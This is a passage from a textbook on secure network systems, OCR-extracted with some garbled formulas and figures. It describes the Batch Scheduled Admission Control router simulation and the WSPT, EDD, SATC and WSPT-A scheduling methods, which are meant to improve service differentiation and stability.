the bandwidth of the router. Minimizing the variance of job waiting timesfor &l jobs passing
through the router means that the waiting time of each job is stable and predictable, which
leads to an accurate estimate of the job waiting time and consequently an accurate service
reservation for the job at each router to achieve the end-to-end delay guarantee.

The waiting time of a job at a router depends on a number of factors: admission control
method, buffer size, job scheduling method, and sizes of jobs preceding that job. No admission
control may produce along queue of jobs, increasing waiting times of jobsin the queue. The
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Diff Serv model uses an admission control and the small size of the high priority queuing buffer
to set an upper bound on the waiting time of a job in the queue. The smaller the buffer, the
less waiting time of any job in the queue. A job scheduling method determines the service
order of admitted jobs or the position of agivenjob in relation to the positions of other jobsfor
receiving service, and thus affects the waiting time of agiven job. Obvioudly, thelarger thesize
of each job preceding a given job for service, the longer the waiting time of that job. Hence,
minimizing thevariance of job waiting timesfor service stability can be achieved by controlling
these factors affecting job waiting times. This section describes an admission control method,
called Batch Scheduled Admission Control (BSAC) [9], which has been developed for service
stability by minimizing the variance of job waiting times at each router. Chapter 5 presents
severa job scheduling methods to minimize the variance of job waiting times.

4.2.2 Description of BSAC

BSAC allows both service reservation as in the InteServ model and service differentiation
as in the DiffServ model. Figure 4.3 shows a service model of a router with the application
of BSAC to high priority jobs. In BSAC, admission control is applied to only high priority
jobs as in the DiffServ model. There are two queuing buffers for high priority jobs: waiting
buffer and processing buffer of the same size, each of which holds a batch of instantaneous
jobs. The batch of jobsin the waiting buffer is called the waiting batch, and the batch of jobs
in the processing buffer is called the current batch. The current batch of instantaneous jobs
receivesthe datatransmission service of therouter withinagiventimeslot, T. A job scheduling
method, such as FIFO or some other scheduling method, can be used to determine the order of
serving jobsin the current batch one by one. At the end of each time slot when the router has
finished serving the current batch of jobsin the processing buffer, the router moves the waiting
batch of jobs from the waiting buffer to the processing buffer to receive the data transmission
service.

Maximum batch size can be set in terms of the maximum number of instantaneous jobs
allowed in any batch or the maximum size (e.g., in bytes) of al jobsin any batch. Thelength of
thetimedot, T, isset to ensure that processing all jobs in any batch can be completed within
thetime slot. For example, T can be set to a constant which corresponds to the maximum time
required to complete processing all jobsin any batch. The setting of T to aconstant also makes
the service start time of the waiting batch predictable.

For anincoming instantaneousjob, the router admitsthejob if adding it to the waiting batch
does not produce a batch whose length exceeds the batch size, and regjects it otherwise. For
an admitted job, the router makes a service reservation for the job by placing it in the waiting

Router

BSAC for
Admission High priority waiting buffer ’—»{ High priority processing buffer
Control

— Incoming jobs —m{ Forwarding — Outgoing jobs =

1iod induj

wod indino

Low priority queuing buffer

Figure4.3 The service model of arouter with BSAC.
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buffer. At the time of service reservation, the service start time of the waiting batch is known
based on the service start time of the current batch of jobs and the allocated time slot, T, to
the current batch. For arejected job, the router informs the source of the job of the rejection.
The source can then choose to send the job to the same router for service through alater batch
or send the job along another routing path.

The waiting buffer may not be full at the time of transferring the waiting batch to the
processing buffer because there may not have been enough jobs to fill up the waiting buffer
during the time interval of T. Asaresult, the current batch of high priority jobs does not use
up the allocated service slot, T. When this happens, low-priority jobs from the low priority
queuing buffer get the chance to be served. That is, any residual time of atime slot is used to
process |ower priority jobsfor service. Hence, BSAC maintains atime-synchronized schedule
for processing batches of high priority jobs, thus the name of this admission control method,
Batch Scheduled Admission Control. Figure 4.4 illustrates the steps of the BSAC method [9].

The BSAC method istested using a software simul ation of a source node [9], arouter node,
and a sink node on a computer network. The router node has a BSAC module to implement
the service architecture as shown in Figure 4.3. The source node generates instantaneous jobs.
Jobstravel from the source node to the router node and finally the sink node is simulated. The
BSAC module usesthe FIFO job scheduling method to determine the order of forwarding jobs
in the current batch to the output port of the router. The sink node simply collects the jobs sent
out by the router.

The source node generates 100 instantaneous jobs of high priority with their job sizes
following a normal distribution. No jobs of low priority are generated in the ssimulation. The
mean of the job sizes is 100 bytes. Two levels of job size standard deviation (std), 25 bytes
and 40 bytes, are employed in the testing. The inter-arrival time of the jobs has an exponential
distribution with two levels of the mean: 100 ms (milliseconds) and 80 ms, which represent
normal and heavy traffic loads, respectively.

The bandwidth of the router in the simulation is set to 1 byte/ms, which is compatible with
the normal traffic load given by the job interval-arrival time of 100 ms for a mean job size of
100 bytes.

In this simulation experiment, the maximum batch size is defined by the maximum number
of jobs which any batch can hold. The two levels of the maximum batch size, 10 jobs and
20 jobs, are tested. Three levels of the servicetime slot, T, are also tested. First, the expected
time of processing a batch of jobs is computed as follows:

Expected batch processing time = (maximum batch size x mean job size) /router bandwidth.

Then T isset to three levelswhich correspond to 90%, 100%, and 110% of the expected batch
processing time.

Table 4.1 summarizes the twenty-four experimental conditions, 2 (job size standard devia-
tions) x 2 (jobinter-arrival times) x 2 (maximum batch sizes) x 3 (Iengths of the servicetime
dlot), which are tested in the simulation. For each experimental condition, a simulation model
without the BSAC module in the router node is also tested, in order to compare the service
performance of arouter with the BSAC based service model with that of aregular router. In
the regular router model, there is only one queue with the unlimited capacity of holding all
jobswhich are served using the FIFO scheduling method. Hence, there are two router models,
each of which is tested under the same twenty-four experimental conditions.

During each experimental run of each router model, times at the following points of each
job traversing from the source node to the router node and finally the sink node, are collected:
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Figure4.4 The BSAC method.

1. Leavesthe source node.

2. Isadmitted into the waiting batch of the BSAC module in the router node.

3. Istransferred from the waiting buffer to the processing buffer in the current batch.
4. Starts service processing for data transmission at the output port in the router node.

5. Arrives at the sink node.
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Table4.1 Experimental conditionsto test two router models of arouter with and without BSAC,
respectively

Maximum batch size = 10 jobs Maximum batch Size = 20 jobs

Service Service Service Service  Service Service
timedot, timedot, timedot, timedot, timedot, timeslot,
T=90% T=100% T =110% T =90% T = 100% T = 110%

Mean Job size std
inter-arrival = 25 bytes
time=100  jop gzesd
ms (normal — 40 bytes
traffic load)

Mean Job size std
inter-arrival = 25 bytes
time=80 g szestd
ms (heavy = 40 bytes
traffic load)

The time difference between points 1 and 5 gives the total time which each job spendsin the
router, called the total completion time. The time difference between points 2 and 4 isthe total
waliting time of each job in the router, called the total waiting time. The total waiting time
includes the waiting time in the waiting buffer (the time difference between points 2 and 3)
and the waiting time in the processing buffer (the time difference between points 3 and 4).

4.2.3 Performance advantage of the BSAC router model over aregular
router model

After collecting the total completion time and the total waiting time of each job under each
experimental condition of each router model, the variance and mean of total waiting times and
the variance and mean of total completion times in the router for the set of 100 jobs under
each experimental condition of each router model are computed. Figures 4.5, 4.6, 4.7 and 4.8
show the performance comparison of the BSAC router model and the regular router model
in the variance of total waiting times (called Total Waiting Time Variance), the mean of total
waiting times (called Total Waiting Time Mean), the variance of total completion times (called
Total Completion Time Variance), and the mean of total times (called Total Completion Time
Mean), respectively, for the set of 100 jobs under each experimental condition.

Given the same levels of traffic load, service time slot and maximum batch size, two job
size standard deviations make little difference in Total Waiting Time Variance, Total Waiting
Time Mean, Total Completion Time Variance and Total Time Completion Mean for two router
models in comparison as seen in Figures 4.5-4.8. The effect of three different service time
slots (90%, 100% and 110%) is noticeable, but is not as significant as the effects of router
model, job inter-arrival time and maximum batch size.

Regarding the effect of two different router models on Total Waiting Time for service
stability, Figure 4.5 shows that the BSAC router model produces asmaller Total Waiting Time
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Mean job inter-arrival time = 100 ms (normal traffic load):
Job size std = 25 bytes: Job size std = 40 bytes:

Total Waiting Time Variance Total Waiting Time Variance
150000 150000
100000 @ Regular Router 100000 @ Regular Router
50000 ﬂﬂ m BSAC Router 50000 m BSAC Router
0+ 0+
190% 100% 110% 90% 100% 110% 90% 100% 110% 90% 100% 110%
10 10 10 20 20 20 10 10 10 20 20 20
@ Regular Router 80919.81 | 79819.09 | 78325.74 | 68638.41| 76542.03 | 78268.42 @ Regular Router | 107632.2106281.1 | 106492.4| 106329.8107774.8 | 106376.6
B BSAC Router |36820.05|35389.12| 24995.74| 97154.18| 70005.95 | 72799.67 mBSAC Router |45369.62 | 44520.69 | 42653.99| 106581.2| 69540.93 | 80635.36

Mean job inter-arrival time = 80 ms (heavy traffic load):
Job size std = 25 bytes: Job size std = 40 bytes:

Total Waiting Time Variance Total Waiting Time Variance

600000 800000

600000
400000 @ Regular Router o Regular Router
mBSAC Router 4000007 m BSAC Router
200000 200000
90% 90%
10 10

0

0

100% 110% 90% 100% 110%

10 10 20 20 20
@ Regular Router |563235.4 | 551805 |557023.8(553054.7|554811.4 |544119.9
B BSAC Router |29069.39 | 38256.03 | 22057.54 | 118718.6| 89490.09 | 75242.02

100% 110% 90% 100% 110%

10 10 20 20 20
@ Regular Router |603984.3 | 609403.5 | 599929.8 | 605088.4 607282.9 | 614995.8
B BSAC Router |44297.85|54639.93 | 35583.19| 126640.1| 143295 |60200.62

Figure4.5 Performance comparison of the BSAC router model and the regular router model in Total
Waiting Time Variance.

Mean job inter-arrival time = 100 ms (normal traffic load):
Job size std = 25 bytes: Job size std = 40 bytes:

Total Waiting Time Mean Total Waiting Time Mean

3000 3000

20004 B Regular Router 2000 1 B Regular Router
1000 4 I B BSAC Router 1000 4 I m BSAC Router

90% 100%  [110%  [90% 100%  [110% ©Joo% 100%  [110%  [90% 100%  |110%

10 10 10 20 20 20 10 10 10 20 20 20

‘D Regular Router| 412 405 405 372 400 405 @ Regular Router| 434 433 433 433 433 433
[mBSAC Router 936 935 1065 1768 1968 2094 B BSAC Router 973 965 1074 1786 1996 2115

Mean job inter-arrival time = 80 ms (heavy traffic load):
Job size std = 25 bytes: Job size std = 40 bytes:

Total Waiting Time Mean Total Waiting Time Mean
3000 3000
2000 4 0 Regular Router 2000 1 0 Regular Router
1000 4 ﬂ m BSAC Router 1000 4 J SAC Router
90% 100% 110% 90% 100% 110% 90% 100% 110% 90% 100% 110%
10 10 10 20 20 20 10 10 10 20 20 20
DRegular Router| 1108 | 1103 | 1108 | 1104 | 1104 | 1100 ORegular Router| 1096 | 1098 | 1090 | 1096 | 1097 | 1101
mBSAC Router | 990 1085 | 1147 | 2048 | 2160 | 2340 EBSACRouter | 1007 | 1161 | 1206 | 2095 | 2248 | 2333

Figure4.6 Performance comparison of the BSAC router model and the regular router model in Total
Waiting Time Mean.
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Mean job inter-arrival time = 100 ms (normal traffic load):
Job size std = 25 bytes: Job size std = 40 bytes:

Total Completion Time Variance Total Completion Time Variance
800000 800000
600000 600000
o Regular Router O Regular Router
400000 400000
SAC Router m BSAC Router
200000 200000
ol il :. 0 T [l
90% 100%  [110%  [90%  [100%  [110% 90% 100%  [110%  [90%  |100%  [110%
10 10 10 20 20 20 10 10 10 20 20 20
[m Regular Router| 89405 | 88630 | 86466 | 75577 | 84644 | 86310 [m Regular Router| 115307 | 114006 | 114198 | 114098 | 115293 | 114060
‘l BSAC Router | 36643 | 104213 | 144790 | 316199 | 426281 | 647748 ‘l BSAC Router | 46066 | 118467 | 141148 | 326941 | 440276 | 665758

Mean job inter-arrival time = 80 ms (heavy traffic load):
Job size std = 25 bytes: Job size std = 40 bytes:

Total Completion Time Variance Total Completion Time Variance
800000 800000
600000 600000
0 Regular Router o Regular Router
400000 400000
SAC Router AC Router
200000 200000
0 0
90% 100%  [110%  [90% 100%  [110% 90% 100%  [110%  [90% 100%  [110%
10 10 10 20 20 20 10 10 10 20 20 20
O Regular Router| 617240 | 606687 | 611807 | 607067 | 609427 | 597591 @ Regular Router| 653654 | 659033 | 649028 | 654712 | 656353 | 664614
B BSAC Router 28555 | 136847 | 217617 | 271474 | 263704 | 474860 B BSAC Router 44397 | 169087 | 177098 | 184876 | 325755 | 398387

Figure 4.7 Performance comparison of the BSAC router model and the regular router model in Total
Completion Time Variance.

Mean job inter-arrival time = 100 ms (normal traffic load):
Job size std = 25 bytes: Job size std = 40 bytes:

Total Completion Time Mean Total Completion Time Mean
2000 2000
1500 1500
O Regular Router O Regular Router
1000 4 1000
B BSAC Router m BSAC Router
500 500 -
0+ 04
190% 100% [110%  [90%  [100%  |110% 90% 100% [110%  [90%  [100%  |110%
10 10 10 20 20 20 10 10 10 20 20 20
[mRegular Router| 460 455 454 425 449 454 @Regular Router| 479 478 478 478 478 478
[mBSAC Router | 1039 949 1032 | 1716 | 1841 | 1836 WBSAC Router | 1079 968 1061 | 1731 | 1871 | 1854

Mean job inter-arrival time = 80 ms (heavy traffic load):
Job size std = 25 bytes: Job size std = 40 bytes:

Total Completion Time Mean Total Completion Time Mean
3000 3000
2000 4 0 Regular Router 2000 Regular Router
1000 m BSAC Router 1000 m BSAC Router
0 ,ﬂ 0+ HJ
190% 100% [110%  [90%  [100%  |110% 90% 100% [110%  [90%  [100%  |110%
10 10 10 20 20 20 10 10 10 20 20 20
ORegular Router| 1090 | 1086 | 1091 | 1087 | 1087 | 1083 [mRegular Router| 1079 | 1081 | 1074 | 1078 | 1079 | 1084
mBSACRouter | 1095 | 1081 | 1059 | 2069 | 2162 | 2238 |mBSACRouter | 1113 | 1124 | 1161 | 2171 | 2248 | 2266

Figure 4.8 Performance comparison of the BSAC router model and the regular router model in Total
Completion Time Mean.
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Variance than the regular router model for all experimental conditions except one condition
under the normal traffic load, the small job size standard deviation of 25 bytes, the servicetime
slot at the 90% of the expected batch processing time, and the maximum batch size of 20 jobs.
Asshown in Figure 4.6, the Total Waiting Time Mean of the BSAC router model islarger than
that of theregular model for all experimental conditionsexcept for six experimental conditions
which all are under the heavy traffic load and use the small maximum batch size of 10 jobs.
Hence, the following observations are made for the Total Waiting Time:

1. Regardless of the Total Waiting Time Mean, the BSAC router model provides a significant
advantage in service stability by reducing the Total Waiting Time Variance in comparison
with the regular router model.

2. Using asmall maximum batch size, the BSAC router model providesasignificant advantage
in service stability by reducing the Total Waiting Time Variance without sacrificing the Total
Waiting Time Mean in comparison with the regular router model.

Examining the Total Completion Time Variance in Figure 4.7 and the Total Completion Time
Mean in Figure 4.8, the BSAC router model produces a much smaller Total Completion Time
Variance under al the heavy traffic conditions, a comparable Total Completion Time Variance
under the normal traffic conditions when using asmall maximum batch size, and alarger Total
Completion Time Variance under other normal traffic conditions. The BSAC router model with
a small maximum batch size produces a comparable Total Completion Time Mean to that of
the regular router model under the heavy traffic. Except for the six experimental conditions
of the heavy traffic with the small maximum batch size, the BSAC router model has a larger
Total Completion Time Mean than that of the regular router model. Hence, the following
observations are made for the Total Completion Time:

1. Under all the heavy traffic conditions, the BSAC router model provides a significant ad-
vantagein service stability by reducing the Total Compl etion Time Variance in comparison
with the regular router model.

2. Under normal traffic conditions using a small maximum batch size, the BSAC router model
produces acomparable Total Completion Time Varianceto that of the regular router model.

3. Using asmall maximum batch size, the BSAC router model providesasignificant advantage
in service stability by reducing the Total Completion Time Variance without sacrificing the
Total Completion Time Mean in comparison with the regular router model.

Therefore, based on the experimental resultsin both Total Waiting Time and Total Compl etion
Time, the BSAC model with a small maximum batch size is highly recommended to achieve
service stability with heavy traffic in both Total Waiting Time Variance and Total Completion
Time Variance without sacrificing Total Waiting Time Mean and Total Completion Time
Mean. Even under normal traffic, the BSAC model with a small maximum batch size is
recommended to achieve service stability in both Total Waiting Time Variance and Total
Completion Time Variance but with some sacrificein Total Waiting Time Mean and Total Time
Completion Mean.
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4.3 SUMMARY

This chapter describes two admission control methods for continuous flow jobs and instanta-
neous jobs, respectively, to overcome the security problems of the best effort service model
which has no admission control. The existing token bucket model of admission control for
continuous flow jobs can be employed in the DiffServ and InteServ models. In the DiffServ
model, the token bucket model provides a per-aggregate admission control to assure premium
service to high priority traffic. In the InteServ model, the token bucket model provides a per-
flow admission control to assure ajob’s flow rate and maximum traffic amount at agiven time
to be compatible with the service capacity of the router and thus guarantee the service re-
quirements of the job. The new BSAC model of admission control isintroduced to support the
end-to-end service reservation and assurance of instantaneous jobs by minimizing the variance
of job waiting times and job completion times in a given router for service stability. The test
results of the BSAC router model in comparison with a regular router model under various
traffic and router configuration conditions are presented to demonstrate the advantage of the
BSAC router model in service stability.
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5

Job scheduling methods for service
differentiation and service stability

Asdiscussed in Chapter 1, the FIFO method of scheduling computer or network jobs by their
arrival timesin the best effort servicemodel contributesto thelack of servicedifferentiationand
service stability, and leads to security and service performance problems (e.g., vulnerabilities
exploited by DoS attacks). This chapter describes job scheduling methods which demonstrate
advantages in service differentiation and service stability on a single service resource and
on multiple but identical resources which provide the same kind of service in paralel. The
next chapter addresses the service delay guarantee over the entire end-to-end path involving
different computer and network resources.

5.1 JOB SCHEDULING METHODS FOR SERVICE
DIFFERENTIATION

Job scheduling methods have been studied extensively in the manufacturing domain [1], the
computer and network domain [2], and many other application domains. Among existing job
scheduling methods, there exist some which are directly applicable to achieving service dif-
ferentiation for computer and network jobs. The following section describes the application
of three specific job scheduling methods from the manufacturing domain [3] to jobs on com-
puters and networks. The three job scheduling methods, called weighted shortest processing
time, simplified apparent tardiness cost, and earliest due date, enable service differentiationin
various ways. Their service performance is examined especially for web application jobs, in
comparison with that of the best effort service model and the basic Diff Serv model.

5.1.1 Weighted Shortest Processing Time (WSPT), Earliest Due Date
(EDD) and Simplified Apparent Tardiness Cost (SATC)

Weighted Shortest Processing Time (WSPT) is proven to minimize the weighted completion
timefor agiven set of jobs[1]. The completion time of ajob isthe sum of the job's processing

Secure Computer and Network Systems: Modeling, Analysisand Design  Nong Ye
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time and the job’s waiting time in the queue before its processing starts for service. Given a
set of jobs, WSPT computes the service priority of jobi, 5, asfollows:

Wi

S = H (5.1)

where wj isthe service weight of job i, and p; isthe processing time of job i. WSPT serves
jobs by the decreasing order of their service priorities, that is, a job with a larger value of
service priority is served before a job with a smaller value of service priority. According to
Formula 5.1, WSPT serves a job with alarger service weight, a shorter processing time and
thus a larger service priority before a job with a smaller service weight, a longer processing
time and thus a smaller service priority. Hence, WSPT supports service differentiation based
on the service weight of ajob aong with consideration of the job’s processing time.

Earliest Due Date (EDD) sorts jobs according their due times only, and determines the
service priority of job i asfollows:

S = (5.2

1
di
where d; isthe duetime of jobi. EDD servesajob with an earlier due time or asmaller value
of d; beforeajob with alater duetime. It is proven that EDD minimizes the maximum lateness
for aset of jobs.

Simplified Apparent Tardiness Cost (SATC) is a combination of WSPT and EDD by con-
sidering the service weight and the processing time of a job as in WSPT, as well as the due
time of the job asin EDD. SATC uses the following formulato determine the service priority
of jobi when it arrives at timet:

i _ max{dj —t.0}

Wi _ maig o)
(1) — Kp 5.3
s(t) D € (5.3

where d; istheduetimeof jobi, P isthe average processing time of jobswaiting in the queue
attimet, and k isascaling parameter. SATC servesjobsin the decreasing order of their service
priorities. Asin EDD, ajob with an earlier due time or a smaller value of (d; —t) receives a
higher service priority. Asin WSPT, the larger service weight and the shorter processing time
ajob has, the higher service priority the job receives. As k becomes infinitely large, k — oo,
SATC becomes WSPT. SATC gets its name because Formula 5.3 comes from ATC's formula
of determining the service priority asfollows:

s(t) = %e*

max{d; —pj —t,0}

(5.4

whered, — p; — t, isthedack time of jobi.

5.1.2 Comparison of WSPT, ATC and EDD with FIFO in the best effort
model and in the DiffServ modd in service differentiation

In[3], WSPT, EDD and SATC are applied to dynamically arriving web application jobs, each
of which requests aweb file from aweb server. Figure 5.1 shows the web server model which
is implemented using OPNET Modeler 8.1, a network simulation software on the Windows
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Figure5.1 The OPNET implementation of aweb server model.

2000 operating system. The software runs on a PC with a Pentium 4 processor of 1.9 GHz
and 512 MB of RAM. The service rate of the web server is set to 12,697,600 bits per second,
which is about 1.55 Mbps. Three job generators create web jobs with service weights of 1, 5
and 10 representing low, medium and high service requirements, respectively. Each job hasits
service weight, due time and job size. The due times of jobs from each job generator follow
anormal distribution with a mean of 2 seconds and a standard deviation of 0.2 second. The
Pareto distribution of web file sizes, which is reported in [4], is used to determine job sizes.
Sizes of jobsfrom each generator have a Pareto distribution with the shape parameter of 65536
and the scale parameter of 1.4, which yield the mean job size of 2%x14 — 229 376 bits or
about 28K bytes.

Two levels of job inter-arrival times are used to create two traffic conditions: heavy traffic
and light traffic. For the heavy traffic condition, the mean inter-arrival times of jobs from
job generators 1, 2 and 3 are 0.025 (40 jobs per second), 0.025 and 0.05 (20 jobs per sec-
ond), respectively. Hence, the total traffic amount from job generators 1, 2 and 3 is (40 +
40 4+ 20) x 229,376 bits per second in average. The web server with the service rate of
12,697,600 bits per second is capabl e of processing only 55.36% of thetotal traffic amount per
second in average under the heavy traffic condition. For the light traffic condition, the mean
inter-arrival times of jobs from job generators 1, 2 and 3 are 0.0625 (16 jobs per second),
0.0625 and 0.125 (8 jobs per second), respectively. Hence, the tota traffic amount per sec-
ond in average under the light traffic condition uses up only 72% of the web server’'s service
capability.

When anew job is generated and received at the forwarder of the web server model, each
scheduling method determines the service priority of the job as described in Section 5.1.1.
The scaling parameter of 100 is used in SATC. Before inserting the job into the queue of
jobs waiting for service by the web server, an admission control rejects the job if its due time
cannot be satisfied, or admitsthe job otherwise. Specifically, the admission control rejectsjobi
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if (d —t — w;)islessthan zero, where w; isthewaiting timeof jobi or the sum of processing
times of the jobs preceding job i if job i isinserted into the queue according to the service
priority of thejob. While ajob iswaiting in the queue for service, the job may also be dropped
if its due time can no longer be satisfied due to the change of its service position when a new
job with ahigher service priority isinserted into the queue.

The service performance of aweb server model using WSPT, EDD and SATC is compared
with that of FIFO in the best effort service model with one queue and the Diff Serv model with
three separate queues for jobs with low, medium and high service weights, respectively. The
best effort model and the Diff Serv model areimplemented in the forwarder in Figure 5.1. The
DiffServ model serves jobs with the high service weight first in the FIFO order, then jobs
with the medium service if there are no jobs with the high service weight waiting, and finally
jobs with the low service weight if there are no jobs with the high or medium service weights
waiting. Thereisno admission control in the best effort service model and the Diff Serv model.
Jobs are scheduled into a queue in an FIFO order. When jobs arrive faster than the service
capability of the web server, congestion occurs at the queue, resulting inlong job waiting times
and thus service delays. To addressthis problem, the best effort service model and the Diff Serv
model use a TIMEOUT threshold of 90 seconds to drop ajob in a queue if the job’s waiting
time in the queue reaches the TIMEOUT threshold.

The simulation for each of job scheduling methods, including WSPT, EDD, SATC, FIFO
in the best effort model and FIFO in the DiffServ model runs under each traffic condition for
4000 seconds. Three service performance measures are collected from each simulation run:
job waiting time, job lateness and job drop for al jobs, including jobs with the high service
weight, jobswith the medium service weight, and jobswith the low service weight, separately.
The waiting time of ajob is the time that ajob spends in the queue waiting before it is taken
out for service. For all jobs which complete their service in every second of a simulation
run, their waiting times are averaged to obtain the average job waiting time per second. The
lateness of job i is defined by (a; —d;), where & is the time when the job arrives at the sink
and d; is the due time of the job. A negative value of lateness indicates that the service of
the job is completed before the due time of the job, and a positive value indicates that the
service of the job is completed after the due time of the job. For all jobs which complete their
service in every second of the simulation run, the average job lateness is computed. Job drop
rate is measured by the number of jobs dropped in every second of a simulation run due to
the admission control and overdue in the waiting queue for WSPT, EDD and SATC and the
TIMEOUT for FIFO in the best effort model and the Diff Serv model. Since every simulation
run has an initial period before the dynamics of the simulation becomes stable, only data
collected from the time of the 400th second to the 4000th second is used to analyze service
performance.

For all data observations collected in each simulation run for a given measure, the mean
and standard deviation of the data observations are cal culated which are then used to compare
the service performance of the job scheduling methods. A smaller job waiting time, a smaller
value of job lateness and a smaller number of dropped jobs yield a better service performance
and thus a better rank. A job scheduling method produces the best performance in a given
measure if it is ranked the first in Table 5.1. More details of the performance results can be
found in [3]. Table 5.1 summarizes the rank of the job scheduling methods, WSPT, EDD,
SATC, FIFO in the best effort model (FIFO-B), and FIFO in the Diff Serv model (FIFO-D), in
various measures of the service performance for various job types (‘All’, ‘High’, ‘Medium’,
and ‘Low’).
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As can be seen in Table 5.1, among all twelve combinations of service performance mea-
sures and job types under the heavy traffic, WSPT is ranked the first for eleven combinations
and the second for one combination. That is, WSPT produces the best performance in job
waiting time for all types of jobs, the best performance in job lateness for all types of jobs, the
best performance in job drop for al jobs and jobs with the medium and low service weights,
and the second best performance in job drop for jobs with the high service weight. The per-
formance of EDD in job lateness is worse than WSPT because EDD minimizes the maximum
lateness for a set of jobs whereas the rank in Table 5.1 is based on the average lateness for
a set of jobs. Table 5.1 also shows the mean performance values of WSPT for jobs with the
high, medium and low service weights separately. The performance values indicate the bet-
ter performance of WSPT for jobs with the high service weight than that for jobs with the
medium service weight which is better than that for jobs with the low service weight. Thisis
attributed to theincorporation of the serviceweight in computing the service priority by WSPT.
Hence, WSPT demonstrates its advantage in service differentiation and in overall service per-
formance under the heavy traffic for al job types in comparison with other job scheduling
methods.

Asshownin Table 5.1, WSPT and SATC produce the best performance in job waiting time
and job lateness for al types of jobs under the light traffic. WSPT, SATC and EDD are not as
good injob drop under light traffic as FIFO in the best effort model and in the Diff Serv model
possibly due to the admission control employed by WSPT, SATC and EDD.

5.2 JOB SCHEDULING METHODSFOR SERVICE STABILITY

This section introduces WSPT-Adjusted (WSPT-A), Verified Spira (VS) and Balanced Spiral
(BS) job scheduling methods which aim at service stability by minimizing the variance of job
waiting times.

5.2.1 Weighted Shortest Processing Time—Adjusted (WSPT-A) and
its performance in service stability

As discussed in Section 5.1.2, WSPT has an advantage in service differentiation and overall
service performance in comparison with other job scheduling methods tested in [3]. However,
the dynamic insertion of a new job into the queue of jobs waiting for service according to the
service priority of the new job can introduce service instability [5]. If the queue has enough
space to add the new job to the queue, the new job is inserted before those jobs already in
the queue but with a lower service priority, increasing the waiting times of those jobs. If the
gueue does not have enough available space to place the new job which happens to have a
higher service priority than the last job in the queue, the last job already waiting in the queue
but with the lowest service priority is taken out of the queue and dropped. More than one job
at the end of the queue may need to be dropped to leave enough space to insert the new job
unless the job at the end of the queue has a higher service priority than the new job. Hence,
the dynamic insertion of new jobs into the queue can result in long waiting times for those
jobs already waiting in the queue but with lower service priorities in comparison with short
waiting times of some jobs with higher service priorities, thus producing a large variance of
job waiting times and service instability.
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In[5], WSPT-A isintroduced to improve service stability of WSPT. WSPT-A computesthe
service priority of jobi asfollows:

s=—¢ and ¢ =e PP (55)

where ¢; isan exponential term for compensating the waiting time that the job aready spends
inthe queue, T;, P isthe averagejob processing time which can be estimated from the average
job size and the service rate of the resource processing the job, and A and n are constants.
The value of ¢ fallsin the range of [0, 1], and increases as T; increases, producing a higher
service priority with the compensation of the job’s waiting time already spent in the queue.
Let o denote the desired compensation value (e.g., « = 1) when jobiisinitially inserted into
the queue and T; is zero asfollows:

o = e—Kb/(0+777p) — e_)‘/n' (56)

Let 8 denote the desired amount of compensation for ajob’stolerancelimit in the waiting time
already spent in the queue in terms of np asfollows:

g = e +P/(D+1D) _ g—1/(n+1) (5.7)

By solving Equations 5.6 and 5.7 for A and n using « and 8, we obtain the following:

= _nelnd (5.8)
Ine —Inp
Ing
n= Ina—lnﬂn' (5.9
That is, by setting the desired amounts of compensation when each job is initially inserted
into the queue and when each job reaches the tolerance limit, np, we can obtain the values for
parameters, A and n, in Equation 5.5.

WSPT-A sortsjobs in the queue in the decreasing order of their service priorities. When a
new job arrives, WSPT-A isused to compute the service priority of the new job and recomputes
the service priorities of the jobs already waiting in the queue as their waiting times change
over time. If there is enough space in the queue to place the new job, the new job isinserted
into the queue according to the service priority of the job. If there is not enough space in the
gueue to place the new job, the service priority of the new job is compared with that of the
last job in the queue. If the new job has alower service priority, the new job isrejected. If the
new job has a higher service priority, the last job in the queue is taken out of the queue and
dropped to leave space for the new job. This process continues until the new job isrejected or
the new job isinserted into the queue.

WSPT-A istested in comparison with WSPT described in Section 5.1 and FIFO in the best
effort servicemodel, using arouter model showninFigure5.2. Therouter model isimplemented
in OPNET Modeler 8.1. Each job scheduling method is implemented in the forwarder. The
router has two input ports and one output port which transmits out data in the queue. Three
traffic sources are linked to each input port as shown in Figure 5.2. Sources 2 and 5 generate
data packets with a low service weight of 2. Other sources generate data packets with a high
service of 5. Each data packet represents ajob which is processed by the router. Inter-arrival
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Router

Input port 0

Forwarder }—»‘ Queue }—»‘ Output port

Input port 1

Figure5.2 A router model.

times of jobs from each traffic source follow an exponentia distribution. The service rate or
bandwidth of the router is set to 640,000 bits per second (b/s). The queue capacity is 550,000
bits (b). The « value of 0.3875 and the 8 value of 0.95 are used in WSPT-A.

The router model with each job scheduling method is tested under two traffic conditions:
heavy traffic and light traffic. Table 5.2 shows the mean of the exponential distribution and
the corresponding mean data arrival rate for each traffic sourcein each traffic condition. In the
heavy traffic condition, traffic sources 0, 1, 3 and 4 generate high-priority traffic in total at
the rate of 770,000 bits per second which exceeds the bandwidth capacity of 640,000 bits per

Table5.2 Themean inter-arrival time of jobs and the corresponding data arrival rate for each traffic
source in arouter model

Heavy traffic Light traffic

Traffic Mean inter-arrival Mean data Mean inter-arrival Mean data
source time(s) arrival rate (b/s) time(s) arriva rate (b/s)

0 0.040 250,000 0.133 75,000

1 0.100 100,000 0.133 75,000

2 0.067 150,000 0.067 150,000

3 0.040 250,000 0.133 75,000

4 0.100 100,000 0.133 75,000

5 0.067 150,000 0.067 150,000
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Figure5.3 Thedelay performance of WSPT-A, WSPT and FIFO for high priority jobs under the heavy
traffic condition.

Thisfigure was published as Figure5in [5], N. Ye, Z. Yang, Y.-C. Lai, and T. Farley, “ Enhancing router
QoSthrough job scheduling with weighted shortest processing time—adjusted.” Computers& Operations
Research, Vol. 32, No. 9, pp. 22552269, 2005, (©) Elsevier Limited. Reproduced with permission.

second. Inthelight traffic condition, traffic sources0, 1, 3and 4 generate high-priority trafficin
total at therateof 300,000 bitsper second whichisfar from using up thefull bandwidth capacity
of the router. The simulation of each job scheduling method under each traffic condition runs
for 180 seconds.

From each simulation, the performance measure of packet delay is collected. Packet delay
is measured by the average compl etion time of packets whose services are completed in each
timeinterval of 1.8 seconds over the entire simulation period of 180 seconds. Hence, 100 data
observations are collected for the delay measure from each simulation.

Figure 5.3 shows the delay performance of WSPT-A, WSPT and FIFO for high priority
data packets under the heavy traffic condition. Figure 5.3 clearly illustrates the instability and
large variance of service delay when WSPT is used for job scheduling. WSPT-A produces
service stability with a much smaller variance of service delay than that of WSPT. Service
delay from FIFO isal so stable but with alarger mean service delay than that of WSPT-A. Under
the heavy traffic condition, WSPT serves no low priority data packets during the simulation,
and WSPT-A services few low priority data packets, demonstrating service differentiation by
WSPT-A and WSPT.

